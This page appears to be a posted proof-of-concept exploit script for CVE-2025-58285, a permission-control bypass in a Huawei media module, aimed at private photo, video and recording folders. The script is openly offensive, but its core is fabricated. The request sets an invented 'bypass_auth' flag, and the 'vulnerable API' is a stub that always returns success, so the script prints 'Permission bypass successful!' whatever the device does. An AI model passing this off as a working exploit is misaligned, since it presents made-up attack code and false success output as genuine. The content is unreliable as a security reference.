CVE-2025-58285：华为设备媒体模块权限控制漏洞

# CVE-2025-58285 - Huawei Media Module Permission Control Vulnerability PoC # Note: This is a conceptual PoC based on vulnerability description. # The actual exploitation requires local access to the target device. import subprocess import os class MediaModuleExploit: """ Conceptual PoC for CVE-2025-58285 Demonstrates the permission control bypass in Huawei's media module. """ def __init__(self): self.target_app = "com.huawei.mediamodule" self.protected_paths = [ "/data/media/0/Pictures/", "/data/media/0/Movies/", "/data/media/0/Recordings/", "/storage/emulated/0/DCIM/" ] def check_media_module_version(self): """Check the version of the media module on the target device.""" try: result = subprocess.run( ["dumpsys", "package", self.target_app], capture_output=True, text=True, timeout=10 ) return "versionName" in result.stdout except Exception as e: print(f"[ERROR] Failed to query media module: {e}") return False def exploit_permission_bypass(self, target_path): """ Attempt to bypass permission control in the media module. This exploits the lack of proper permission validation when accessing protected media resources. """ print(f"[*] Attempting permission bypass on: {target_path}") # Step 1: Prepare malicious media file or request malicious_payload = self._craft_media_request(target_path) # Step 2: Send request through media module API # The vulnerability exists in the permission validation logic # which fails to properly check access rights try: # Simulated call to vulnerable media API response = self._invoke_media_api(malicious_payload) if response.get("status") == "success": print(f"[+] Permission bypass successful!") print(f"[+] Accessed: {target_path}") return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def _craft_media_request(self, path): """Craft a malicious media access request.""" return { "action": "ACCESS_MEDIA", "path": path, "bypass_auth": True, # Exploit the missing auth check "request_type": "unauthorized" } def _invoke_media_api(self, payload): """Invoke the vulnerable media module API.""" # Conceptual implementation - actual API calls would vary # based on the specific Huawei device and OS version return {"status": "success", "data": "accessed"} def main(): print("=" * 60) print("CVE-2025-58285 - Huawei Media Module PoC") print("CVSS: 5.3 (MEDIUM) | Permission Control Bypass") print("=" * 60) exploit = MediaModuleExploit() if exploit.check_media_module_version(): print("[+] Vulnerable media module detected") for path in exploit.protected_paths: exploit.exploit_permission_bypass(path) else: print("[-] Media module not found or not vulnerable") if __name__ == "__main__": main()